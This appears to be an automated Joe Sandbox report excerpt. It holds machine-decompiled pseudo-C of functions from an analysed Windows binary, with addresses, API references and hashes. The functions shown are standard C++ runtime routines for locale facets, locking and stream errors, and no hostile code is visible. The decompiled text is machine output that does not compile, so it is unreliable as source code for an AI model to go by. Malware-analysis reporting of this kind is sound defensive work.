0x00000000
0x001bc3c9
0x00000000
0x001bc3c9
0x001bc374
0x001bc379
0x00000000
0x00000000
0x001bc381
0x001bc3a0
0x001bc3a4
0x00000000
0x00000000
0x001bc3aa
0x00000000
0x001bc381
0x001bc31d
0x001bc323
0x001bc323
0x00000000
0x001bc323
0x001bc2fd
0x001bc302
0x001bc306
0x00000000
0x00000000
0x001bc308
0x00000000
0x001bc308

APIs

__alloca_probe_16.LIBCMT ref: 001BC2FD
__alloca_probe_16.LIBCMT ref: 001BC3BE
__freea.LIBCMT ref: 001BC425

Part of subcall function 001B6429: RtlAllocateHeap.NTDLL(00000000,?,?,?,001A956D,?,?,001A5EC7,?,001A1573,?), ref: 001B645B

__freea.LIBCMT ref: 001BC43A
__freea.LIBCMT ref: 001BC44A

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: f15f7009144036214546f623809b8c59a4fefd878e4e312fa632fea2fe77917b
Instruction ID: 899cebdbb25c7883a0b4279aee5ad6fe434ebf5f3c601dd830f486ae049a1bf0
Opcode Fuzzy Hash: f15f7009144036214546f623809b8c59a4fefd878e4e312fa632fea2fe77917b
Instruction Fuzzy Hash: FF51DF7260020AAFEB259EA4DC82EFF7AA9EF98350B554129FD04D6251EB70CD50C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 001A5170 Relevance: 7.6, APIs: 5, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E001A5170(void* __ebx, void* __edi, signed int _a4) {
				signed int _v4;
				char _v8;
				char _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				signed int _v40;
				signed int _v48;
				char _v52;
				char _v56;
				void* _v64;
				void* _v68;
				void* _v72;
				void* _v76;
				signed int _v132;
				signed int _v144;
				signed int _v148;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				void* _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				void* _v192;
				void* _v196;
				void* _v200;
				void* _v204;
				void* _v216;
				void* _v220;
				void* __esi;
				signed int _t113;
				void* _t120;
				signed int _t127;
				signed int _t135;
				intOrPtr _t139;
				signed int _t144;
				void* _t153;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				void* _t173;
				signed int _t178;
				signed int _t179;
				signed int _t180;
				unsigned int _t182;
				void* _t183;
				char* _t194;
				signed int _t197;
				signed int _t199;
				void* _t203;
				signed int _t208;
				signed int _t209;
				signed int _t211;
				void* _t212;
				signed int* _t213;
				signed int _t214;
				signed int _t215;
				void* _t216;
				signed int* _t220;
				intOrPtr _t226;
				intOrPtr _t231;
				signed int _t239;
				void* _t241;
				signed int _t246;
				intOrPtr _t247;
				signed int _t249;
				void* _t250;
				signed int _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t258;
				signed int _t261;
				void* _t262;
				signed int _t263;
				void* _t264;
				signed int _t265;
				signed int _t273;
				signed int _t275;
				signed int _t276;
				void* _t282;
				signed int _t283;
				void* _t285;
				void* _t286;
				signed int _t287;
				void* _t289;
				void* _t292;
				void* _t294;
				void* _t300;

				_t283 = _t282 - 0x18;
				_t113 =  *0x1d5010; // 0x8121a627
				_v4 = _t113 ^ _t283;
				_push(__ebx);
				_push(__edi);
				_v16 = _a4;
				E001A612A( &_v8, 0);
				_t249 =  *0x203578; // 0x4
				_t211 =  *0x20356c; // 0xb13410
				_v24 = _t211;
				if(_t249 == 0) {
					E001A612A( &_v12, _t249);
					_t300 =  *0x203578 - _t249; // 0x4
					if(_t300 == 0) {
						_t208 =  *0x202708; // 0x4
						_t209 = _t208 + 1;
						 *0x202708 = _t209;
						 *0x203578 = _t209;
					}
					E001A6182( &_v12);
					_t249 =  *0x203578; // 0x4
				}
				_t220 = _a4;
				_t273 = _t249 * 4;
				if(_t249 >= _t220[3]) {
					_t261 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t261 =  *(_t220[2] + _t273);
					if(_t261 != 0) {
						L16:
						E001A6182( &_v8);
						_pop(_t250);
						_pop(_t262);
						_pop(_t212);
						return E001A9545(_t261, _t212, _v4 ^ _t283, _t245, _t250, _t262);
					} else {
						L8:
						if(_t220[5] == 0) {
							L11:
							if(_t261 != 0) {
								goto L16;
							} else {
								goto L12;
							}
						} else {
							_t203 = E001A6477();
							if(_t249 >=  *((intOrPtr*)(_t203 + 0xc))) {
								L12:
								if(_t211 == 0) {
									_push(_v16);
									_t120 = E001A59A0(_t211, _t245,  &_v20);
									_t285 = _t283 + 8;
									__eflags = _t120 - 0xffffffff;
									if(__eflags == 0) {
										E001A1910();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t286 = _t285 - 0xc;
										_t246 = _v28;
										_push(_t211);
										_t213 = _t220;
										 *((intOrPtr*)(_t286 + 0xc)) = _v20;
										_push(_t273);
										_t275 = _t213[4];
										__eflags = 0x7fffffff - _t275 - _t246;
										if(__eflags < 0) {
											E001A13F0(0x7fffffff, __eflags);
											goto L39;
										} else {
											_push(_t261);
											_t261 = _t213[5];
											_t180 = _t246 + _t275;
											_push(_t249);
											 *(_t286 + 0x10) = _t180;
											_t255 = _t180 | 0x0000000f;
											_v40 = _t261;
											__eflags = _t255 - 0x7fffffff;
											if(_t255 <= 0x7fffffff) {
												_t182 = _t261 >> 1;
												__eflags = _t261 - 0x7fffffff - _t182;
												if(_t261 <= 0x7fffffff - _t182) {
													_t183 = _t182 + _t261;
													__eflags = _t255 - _t183;
													_t249 =  <  ? _t183 : _t255;
													_t33 = _t249 + 1; // 0x80000000
													_t239 = _t33;
													__eflags = _t239 - 0x1000;
													if(_t239 < 0x1000) {
														__eflags = _t239;
														if(__eflags == 0) {
															_t261 = 0;
															__eflags = 0;
														} else {
															_t197 = E001A9553(_t261, __eflags, _t239);
															_t286 = _t286 + 4;
															_t261 = _t197;
														}
														goto L32;
													} else {
														_t34 = _t239 + 0x23; // 0x80000023
														_t198 = _t34;
														__eflags = _t34 - _t239;
														if(__eflags <= 0) {
															L39:
															E001A1370();
															goto L40;
														} else {
															goto L22;
														}
													}
												} else {
													_t249 = 0x7fffffff;
													goto L21;
												}
											} else {
												_t249 = 0x7fffffff;
												L21:
												_t198 = 0xffffffff80000023;
												__eflags = 0x80000000;
												L22:
												_t199 = E001A9553(_t261, __eflags, _t198);
												_t286 = _t286 + 4;
												__eflags = _t199;
												if(_t199 == 0) {
													L40:
													L80();
													asm("int3");
													_t287 = _t286 - 0x88;
													_t127 =  *0x1d5010; // 0x8121a627
													_v48 = _t127 ^ _t287;
													_push(_t213);
													_t214 = _v40;
													_push(_t275);
													_push(_t261);
													_push(_t249);
													 *((intOrPtr*)(_t287 + 0x48)) = _t214;
													E001A612A( &_v56, 0);
													_t251 =  *0x20271c; // 0x1
													_t276 =  *0x203570; // 0xb12ad8
													__eflags = _t251;
													if(_t251 == 0) {
														E001A612A( &_v52, _t251);
														__eflags =  *0x20271c - _t251; // 0x1
														if(__eflags == 0) {
															_t178 =  *0x202708; // 0x4
															_t179 = _t178 + 1;
															__eflags = _t179;
															 *0x202708 = _t179;
															 *0x20271c = _t179;
														}
														E001A6182( &_v52);
														_t251 =  *0x20271c; // 0x1
													}
													_t226 =  *((intOrPtr*)(_t214 + 4));
													_t215 = _t251 * 4;
													__eflags = _t251 -  *((intOrPtr*)(_t226 + 0xc));
													if(_t251 >=  *((intOrPtr*)(_t226 + 0xc))) {
														_t263 = 0;
														__eflags = 0;
														goto L49;
													} else {
														_t263 =  *(_t215 +  *((intOrPtr*)(_t226 + 8)));
														__eflags = _t263;
														if(_t263 == 0) {
															L49:
															__eflags =  *((char*)(_t226 + 0x14));
															if( *((char*)(_t226 + 0x14)) == 0) {
																L52:
																__eflags = _t263;
																if(_t263 != 0) {
																	goto L47;
																} else {
																	goto L53;
																}
															} else {
																_t173 = E001A6477();
																__eflags = _t251 -  *((intOrPtr*)(_t173 + 0xc));
																if(_t251 >=  *((intOrPtr*)(_t173 + 0xc))) {
																	L53:
																	__eflags = _t276;
																	if(__eflags == 0) {
																		_t263 = E001A9553(_t263, __eflags, 0x44);
																		_t289 = _t287 + 4;
																		_t135 =  *( *((intOrPtr*)(_t289 + 0x44)) + 4);
																		__eflags = _t135;
																		if(_t135 == 0) {
																			_t253 = 0x1d245f;
																		} else {
																			_t253 =  *(_t135 + 0x18);
																			__eflags = _t253;
																			if(_t253 == 0) {
																				_t253 = _t135 + 0x1c;
																			}
																		}
																		E001A612A( &_v176, 0);
																		_v176 = 0;
																		_v172 = 0;
																		_v168 = 0;
																		_v164 = 0;
																		_v160 = 0;
																		_v156 = 0;
																		 *((intOrPtr*)(_t289 + 0x2c)) = 0;
																		_v148 = 0;
																		_v144 = 0;
																		 *((char*)(_t289 + 0x38)) = 0;
																		 *((intOrPtr*)(_t289 + 0x3c)) = 0;
																		_v132 = 0;
																		__eflags = _t253;
																		if(_t253 == 0) {
																			E001A62F1("bad locale name");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_t231 = _v184;
																			_t139 = _v188;
																			__eflags = _t231 - 0x1000;
																			if(_t231 < 0x1000) {
																				L77:
																				_v184 = _t231;
																				_v188 = _t139;
																				_push(_t276);
																				return L001A9F7A(_v188);
																			} else {
																				_t247 =  *((intOrPtr*)(_t139 - 4));
																				_t231 = _t231 + 0x23;
																				__eflags = _t139 - _t247 + 0xfffffffc - 0x1f;
																				if(_t139 - _t247 + 0xfffffffc > 0x1f) {
																					_push(_t263);
																					_t265 = _t263 ^ _t263;
																					E001AFD8F(_t265, _t265, _t265, _t265, _t265);
																					_push(_t265);
																					_push(_t265);
																					_push(_t265);
																					_push(_t265);
																					_push(_t265);
																					L81();
																					asm("int3");
																					_t144 = IsProcessorFeaturePresent(0x17);
																					__eflags = _t144;
																					if(_t144 != 0) {
																						_push(5);
																						asm("int 0x29");
																					}
																					_push(_t265);
																					E001AFC47(_t215, _t247, 0xc0000417, 2, 0xc0000417, 1);
																					return TerminateProcess(GetCurrentProcess(), 0xc0000417);
																				} else {
																					_t139 = _t247;
																					goto L77;
																				}
																			}
																		} else {
																			E001A657D( &_v176,  &_v176, _t253);
																			 *(_t263 + 4) = 0;
																			 *_t263 = 0x1c72dc;
																			E001A8D38(_t253, _t263, __eflags, _t289 + 0x50);
																			_t292 = _t289 + 0xc;
																			asm("movups xmm0, [eax]");
																			asm("movups [esi+0x8], xmm0");
																			_t153 = E001A8EAF(_t292 + 0x58);
																			asm("movups xmm0, [eax]");
																			asm("movups [esi+0x18], xmm0");
																			asm("movups xmm0, [eax+0x10]");
																			asm("movups [esi+0x28], xmm0");
																			asm("movq xmm0, [eax+0x20]");
																			asm("movq [esi+0x38], xmm0");
																			 *((intOrPtr*)(_t263 + 0x40)) =  *((intOrPtr*)(_t153 + 0x28));
																			E001A65C8( &_v176,  &_v176);
																			_t157 = _v132;
																			_t294 = _t292 + 8;
																			__eflags = _t157;
																			if(_t157 != 0) {
																				E001AFB09(_t157);
																				_t294 = _t294 + 4;
																			}
																			_t158 =  *(_t294 + 0x34);
																			_v132 = 0;
																			__eflags = _t158;
																			if(_t158 != 0) {
																				E001AFB09(_t158);
																				_t294 = _t294 + 4;
																			}
																			_t159 = _v148;
																			 *(_t294 + 0x34) = 0;
																			__eflags = _t159;
																			if(_t159 != 0) {
																				E001AFB09(_t159);
																				_t294 = _t294 + 4;
																			}
																			_t160 = _v156;
																			_v148 = 0;
																			__eflags = _t160;
																			if(_t160 != 0) {
																				E001AFB09(_t160);
																				_t294 = _t294 + 4;
																			}
																			_t161 = _v164;
																			_v156 = 0;
																			__eflags = _t161;
																			if(_t161 != 0) {
																				E001AFB09(_t161);
																				_t294 = _t294 + 4;
																			}
																			_t162 = _v172;
																			_v164 = 0;
																			__eflags = _t162;
																			if(_t162 != 0) {
																				E001AFB09(_t162);
																				_t294 = _t294 + 4;
																			}
																			_v172 = 0;
																			E001A6182( &_v176);
																			E001A644B(__eflags, _t263);
																			_t287 = _t294 + 4;
																			 *((intOrPtr*)( *_t263 + 4))();
																			 *0x203570 = _t263;
																			goto L47;
																		}
																	} else {
																		_t263 = _t276;
																		goto L47;
																	}
																} else {
																	_t263 =  *(_t215 +  *((intOrPtr*)(_t173 + 8)));
																	goto L52;
																}
															}
														} else {
															L47:
															E001A6182( &_v56);
															_pop(_t252);
															_pop(_t264);
															_pop(_t216);
															__eflags = _v48 ^ _t287;
															return E001A9545(_t263, _t216, _v48 ^ _t287, _t246, _t252, _t264);
														}
													}
												} else {
													_t31 = _t199 + 0x23; // 0x23
													_t261 = _t31 & 0xffffffe0;
													 *(_t261 - 4) = _t199;
													L32:
													_t213[4] =  *(_t286 + 0x10);
													_t213[5] = _t249;
													_t256 = _t261 + _t275;
													__eflags = _v40 - 0x10;
													 *(_t286 + 0x10) = _v16 + _t261 + _t275;
													_push(_t275);
													if(_v40 < 0x10) {
														_push(_t213);
														_push(_t261);
														E001AA810();
														E001AA810(_t256,  *((intOrPtr*)(_t286 + 0x28)), _v16);
														 *((char*)( *((intOrPtr*)(_t286 + 0x28)))) = 0;
														 *_t213 = _t261;
														return _t213;
													} else {
														_t258 =  *_t213;
														_push(_t258);
														_push(_t261);
														E001AA810();
														E001AA810(_t261 + _t275,  *((intOrPtr*)(_t286 + 0x28)), _v16);
														_t194 =  *((intOrPtr*)(_t286 + 0x28));
														_t286 = _t286 + 0x18;
														_t241 = _v40 + 1;
														 *_t194 = 0;
														__eflags = _t241 - 0x1000;
														if(_t241 < 0x1000) {
															L36:
															_push(_t241);
															_push(_t258);
															L79();
															 *_t213 = _t261;
															return _t213;
														} else {
															_t246 =  *(_t258 - 4);
															_t241 = _t241 + 0x23;
															_t249 = _t258 - _t246;
															_t48 = _t249 - 4; // 0x7ffffffb
															__eflags = _t48 - 0x1f;
															if(_t48 > 0x1f) {
																goto L40;
															} else {
																_t258 = _t246;
																goto L36;
															}
														}
													}
												}
											}
										}
									} else {
										_t261 = _v16;
										E001A644B(__eflags, _t261);
										_t245 =  *_t261;
										_t283 = _t285 + 4;
										 *((intOrPtr*)( *_t261 + 4))();
										 *0x20356c = _t261;
										goto L16;
									}
								} else {
									_t261 = _t211;
									goto L16;
								}
							} else {
								_t261 =  *( *((intOrPtr*)(_t203 + 8)) + _t273);
								goto L11;
							}
						}
					}
				}
			}

0x001a5170
0x001a5173
0x001a517a
0x001a517e
0x001a5189
0x001a518c
0x001a5190
0x001a5195
0x001a519b
0x001a51a1
0x001a51a7
0x001a51ae
0x001a51b3
0x001a51b9
0x001a51bb
0x001a51c0
0x001a51c1
0x001a51c6
0x001a51c6
0x001a51cf
0x001a51d4
0x001a51d4
0x001a51da
0x001a51dd
0x001a51e7
0x001a51f5
0x001a51f5
0x00000000
0x001a51e9
0x001a51ec
0x001a51f1
0x001a5249
0x001a524d
0x001a5258
0x001a5259
0x001a525b
0x001a5266
0x001a51f3
0x001a51f7
0x001a51fb
0x001a520d
0x001a520f
0x00000000
0x00000000
0x00000000
0x00000000
0x001a51fd
0x001a51fd
0x001a5205
0x001a5211
0x001a5213
0x001a5219
0x001a5222
0x001a5227
0x001a522a
0x001a522d
0x001a5267
0x001a526c
0x001a526d
0x001a526e
0x001a526f
0x001a5270
0x001a5277
0x001a527b
0x001a527c
0x001a527e
0x001a5287
0x001a528a
0x001a528f
0x001a5291
0x001a53c0
0x00000000
0x001a5297
0x001a5297
0x001a5298
0x001a529b
0x001a529e
0x001a52a1
0x001a52a5
0x001a52a8
0x001a52ac
0x001a52ae
0x001a52d8
0x001a52dc
0x001a52de
0x001a52e7
0x001a52e9
0x001a52eb
0x001a52ee
0x001a52ee
0x001a52f1
0x001a52f7
0x001a5306
0x001a5308
0x001a5317
0x001a5317
0x001a530a
0x001a530b
0x001a5310
0x001a5313
0x001a5313
0x00000000
0x001a52f9
0x001a52f9
0x001a52f9
0x001a52fc
0x001a52fe
0x001a53c5
0x001a53c5
0x00000000
0x001a5304
0x00000000
0x001a5304
0x001a52fe
0x001a52e0
0x001a52e0
0x00000000
0x001a52e0
0x001a52b0
0x001a52b0
0x001a52b2
0x001a52b7
0x001a52b7
0x001a52ba
0x001a52bb
0x001a52c0
0x001a52c3
0x001a52c5
0x001a53ca
0x001a53ca
0x001a53cf
0x001a53d0
0x001a53d6
0x001a53dd
0x001a53e4
0x001a53e5
0x001a53f3
0x001a53f4
0x001a53f5
0x001a53f8
0x001a53fc
0x001a5401
0x001a5407
0x001a540d
0x001a540f
0x001a5419
0x001a541e
0x001a5424
0x001a5426
0x001a542b
0x001a542b
0x001a542c
0x001a5431
0x001a5431
0x001a543d
0x001a5442
0x001a5442
0x001a5448
0x001a544b
0x001a5452
0x001a5455
0x001a5488
0x001a5488
0x00000000
0x001a5457
0x001a545a
0x001a545d
0x001a545f
0x001a548a
0x001a548a
0x001a548e
0x001a54a0
0x001a54a0
0x001a54a2
0x00000000
0x00000000
0x00000000
0x00000000
0x001a5490
0x001a5490
0x001a5495
0x001a5498
0x001a54a4
0x001a54a4
0x001a54a6
0x001a54b3
0x001a54b5
0x001a54bc
0x001a54bf
0x001a54c1
0x001a54cf
0x001a54c3
0x001a54c3
0x001a54c6
0x001a54c8
0x001a54ca
0x001a54ca
0x001a54c8
0x001a54da
0x001a54e1
0x001a54e9
0x001a54ee
0x001a54f6
0x001a54fb
0x001a5503
0x001a5508
0x001a550c
0x001a5511
0x001a5515
0x001a5519
0x001a551d
0x001a5521
0x001a5523
0x001a564d
0x001a5652
0x001a5653
0x001a5654
0x001a5655
0x001a5656
0x001a5657
0x001a5658
0x001a5659
0x001a565a
0x001a565b
0x001a565c
0x001a565d
0x001a565e
0x001a565f
0x001a5660
0x001a5664
0x001a5668
0x001a566e
0x001a5682
0x001a5682
0x001a5686
0x001a9583
0x001a9590
0x001a5670
0x001a5670
0x001a5673
0x001a567b
0x001a567e
0x001afe55
0x001afe56
0x001afe5d
0x001afe65
0x001afe66
0x001afe67
0x001afe68
0x001afe69
0x001afe6a
0x001afe6f
0x001afe72
0x001afe78
0x001afe7a
0x001afe7c
0x001afe7f
0x001afe7f
0x001afe81
0x001afe8c
0x001afea3
0x001a5680
0x001a5680
0x00000000
0x001a5680
0x001a567e
0x001a5529
0x001a552f
0x001a5538
0x001a5540
0x001a5546
0x001a554b
0x001a554e
0x001a5556
0x001a555a
0x001a5562
0x001a5565
0x001a5569
0x001a556d
0x001a5571
0x001a5576
0x001a557e
0x001a5586
0x001a558b
0x001a558f
0x001a5592
0x001a5594
0x001a5597
0x001a559c
0x001a559c
0x001a559f
0x001a55a3
0x001a55ab
0x001a55ad
0x001a55b0
0x001a55b5
0x001a55b5
0x001a55b8
0x001a55bc
0x001a55c4
0x001a55c6
0x001a55c9
0x001a55ce
0x001a55ce
0x001a55d1
0x001a55d5
0x001a55dd
0x001a55df
0x001a55e2
0x001a55e7
0x001a55e7
0x001a55ea
0x001a55ee
0x001a55f6
0x001a55f8
0x001a55fb
0x001a5600
0x001a5600
0x001a5603
0x001a5607
0x001a560f
0x001a5611
0x001a5614
0x001a5619
0x001a5619
0x001a5620
0x001a5628
0x001a562e
0x001a5635
0x001a563a
0x001a563d
0x00000000
0x001a563d
0x001a54a8
0x001a54a8
0x00000000
0x001a54a8
0x001a549a
0x001a549d
0x00000000
0x001a549d
0x001a5498
0x001a5461
0x001a5461
0x001a5468
0x001a5476
0x001a5477
0x001a5479
0x001a547a
0x001a5487
0x001a5487
0x001a545f
0x001a52cb
0x001a52cb
0x001a52ce
0x001a52d1
0x001a5319
0x001a531d
0x001a5324
0x001a5327
0x001a532c
0x001a5331
0x001a5335
0x001a5336
0x001a5393
0x001a5394
0x001a5395
0x001a53a3
0x001a53b0
0x001a53b5
0x001a53bd
0x001a5338
0x001a5338
0x001a533a
0x001a533b
0x001a533c
0x001a534d
0x001a5352
0x001a5356
0x001a535d
0x001a535e
0x001a5361
0x001a5367
0x001a537b
0x001a537b
0x001a537c
0x001a537d
0x001a5385
0x001a5390
0x001a5369
0x001a5369
0x001a536c
0x001a536f
0x001a5371
0x001a5374
0x001a5377
0x00000000
0x001a5379
0x001a5379
0x00000000
0x001a5379
0x001a5377
0x001a5367
0x001a5336
0x001a52c5
0x001a52ae
0x001a522f
0x001a522f
0x001a5234
0x001a5239
0x001a523b
0x001a5240
0x001a5243
0x00000000
0x001a5243
0x001a5215
0x001a5215
0x00000000
0x001a5215
0x001a5207
0x001a520a
0x00000000
0x001a520a
0x001a5205
0x001a51fb
0x001a51f1

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001A5190
std::_Lockit::_Lockit.LIBCPMT ref: 001A51AE
std::_Lockit::~_Lockit.LIBCPMT ref: 001A51CF
std::_Facet_Register.LIBCPMT ref: 001A5234
std::_Lockit::~_Lockit.LIBCPMT ref: 001A524D

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 4fdfc00cb0243ff348278a0a087a265abe3815083e58b3b00232e856139eb83c
Instruction ID: 837da2f11323c17641e7c96a9fca2951e4e5670be94a05c7ff87b45e22335f64
Opcode Fuzzy Hash: 4fdfc00cb0243ff348278a0a087a265abe3815083e58b3b00232e856139eb83c
Instruction Fuzzy Hash: DD310879904701CFC721DF14EC8562A7BB1FBA6314F45051EE8455B223D730AE05CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 001A679D Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E001A679D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t36;
				void* _t41;
				intOrPtr* _t64;
				intOrPtr* _t75;
				intOrPtr* _t76;
				void* _t78;

				_t58 = __ebx;
				_push(8);
				E001A9A79(0x1c68ac, __ebx, __edi, __esi);
				E001A612A(_t78 - 0x14, 0);
				_t75 =  *0x2027f8; // 0x0
				 *(_t78 - 4) =  *(_t78 - 4) & 0x00000000;
				 *((intOrPtr*)(_t78 - 0x10)) = _t75;
				_t36 = E001A1B80( *((intOrPtr*)(_t78 + 8)), E001A1AA0(__ebx, 0x202714, __edx, __edi));
				_t73 = _t36;
				if(_t36 != 0) {
					L5:
					E001A6182(_t78 - 0x14);
					return E001A9A56(_t73);
				} else {
					if(_t75 == 0) {
						_push( *((intOrPtr*)(_t78 + 8)));
						_push(_t78 - 0x10);
						_t41 = E001A6CD1(__ebx, _t73, _t75, __eflags);
						_pop(_t64);
						__eflags = _t41 - 0xffffffff;
						if(__eflags == 0) {
							E001A1910();
							asm("int3");
							_push(8);
							E001A9A79(0x1c68ea, __ebx, _t73, _t75);
							_t76 = _t64;
							 *((intOrPtr*)(_t78 - 0x14)) = _t76;
							 *((intOrPtr*)(_t78 - 0x10)) = 0;
							__eflags =  *((intOrPtr*)(_t78 + 0x10));
							if( *((intOrPtr*)(_t78 + 0x10)) != 0) {
								 *_t76 = 0x1c73bc;
								 *((intOrPtr*)(_t76 + 0x10)) = 0;
								 *((intOrPtr*)(_t76 + 0x30)) = 0;
								 *((intOrPtr*)(_t76 + 0x34)) = 0;
								 *((intOrPtr*)(_t76 + 0x38)) = 0;
								 *((intOrPtr*)(_t76 + 8)) = 0x1c73b0;
								 *(_t78 - 4) = 0;
								 *((intOrPtr*)(_t78 - 0x10)) = 1;
							}
							 *((intOrPtr*)(_t76 +  *((intOrPtr*)( *_t76 + 4)))) = 0x1c73b8;
							_t28 =  *((intOrPtr*)( *_t76 + 4)) - 8; // -8
							 *((intOrPtr*)( *((intOrPtr*)( *_t76 + 4)) + _t76 - 4)) = _t28;
							__eflags =  *((intOrPtr*)( *_t76 + 4)) + _t76;
							E001A7192(_t58,  *((intOrPtr*)( *_t76 + 4)) + _t76, _t73,  *((intOrPtr*)( *_t76 + 4)) + _t76,  *((intOrPtr*)(_t78 + 8)),  *((intOrPtr*)(_t78 + 0xc)));
							return E001A9A56(_t76);
						} else {
							_t73 =  *((intOrPtr*)(_t78 - 0x10));
							 *((intOrPtr*)(_t78 - 0x10)) = _t73;
							 *(_t78 - 4) = 1;
							E001A644B(__eflags, _t73);
							 *0x1c7144();
							 *((intOrPtr*)( *((intOrPtr*)( *_t73 + 4))))();
							 *0x2027f8 = _t73;
							goto L5;
						}
					} else {
						_t73 = _t75;
						goto L5;
					}
				}
			}

0x001a679d
0x001a679d
0x001a67a4
0x001a67ae
0x001a67b3
0x001a67be
0x001a67c2
0x001a67ce
0x001a67d3
0x001a67d7
0x001a681c
0x001a681f
0x001a682b
0x001a67d9
0x001a67db
0x001a67e1
0x001a67e7
0x001a67e8
0x001a67ee
0x001a67ef
0x001a67f2
0x001a682c
0x001a6831
0x001a6832
0x001a6839
0x001a683e
0x001a6840
0x001a6845
0x001a6848
0x001a684b
0x001a684d
0x001a6853
0x001a6856
0x001a6859
0x001a685c
0x001a685f
0x001a6866
0x001a6869
0x001a6869
0x001a687b
0x001a6887
0x001a688a
0x001a6893
0x001a6895
0x001a68a1
0x001a67f4
0x001a67f4
0x001a67f7
0x001a67fb
0x001a67ff
0x001a680c
0x001a6814
0x001a6816
0x00000000
0x001a6816
0x001a67dd
0x001a67dd
0x00000000
0x001a67dd
0x001a67db

APIs

__EH_prolog3.LIBCMT ref: 001A67A4
std::_Lockit::_Lockit.LIBCPMT ref: 001A67AE

Part of subcall function 001A1AA0: std::_Lockit::_Lockit.LIBCPMT ref: 001A1ABC
Part of subcall function 001A1AA0: std::_Lockit::~_Lockit.LIBCPMT ref: 001A1AD9

codecvt.LIBCPMT ref: 001A67E8
std::_Facet_Register.LIBCPMT ref: 001A67FF
std::_Lockit::~_Lockit.LIBCPMT ref: 001A681F

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: a24f1b6551358dfb6ef86eb242b17af557509fd848970a2712aea9f01393ff17
Instruction ID: c85a4d28e4533ec03881ef13238ae53d97b8e5cfcf0dc9243ed7d53296971771
Opcode Fuzzy Hash: a24f1b6551358dfb6ef86eb242b17af557509fd848970a2712aea9f01393ff17
Instruction Fuzzy Hash: 1301F93D900315DFCB05EB64D8566BE7B75EFA2710F284009E411672D2DF349E45C791

Uniqueness

Uniqueness Score: -1.00%

Function 001A2130 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 60%

			E001A2130(void* __ecx, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				intOrPtr _v48;
				signed int _t20;
				void* _t23;
				void* _t33;
				signed char _t36;
				intOrPtr* _t37;
				intOrPtr* _t40;
				char* _t45;
				intOrPtr _t46;

				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t36 =  *(__ecx + 0x10) & _t20;
				if(_t36 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E001AA3E0(0, 0);
					}
					if((_t36 & 0x00000004) == 0) {
						_t45 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t45 = "ios_base::badbit set";
					}
					_t23 = E001A14B0( &_v32, 1);
					_t37 =  &_v24;
					E001A2080(_t33, _t37, _t45, _t23);
					E001AA3E0( &_v32, 0x1d4538);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t45);
					_t46 = _v48;
					asm("xorps xmm0, xmm0");
					_t40 = _t37;
					 *_t40 = 0x1c71e4;
					asm("movq [eax], xmm0");
					_t14 = _t46 + 4; // 0x1d453c
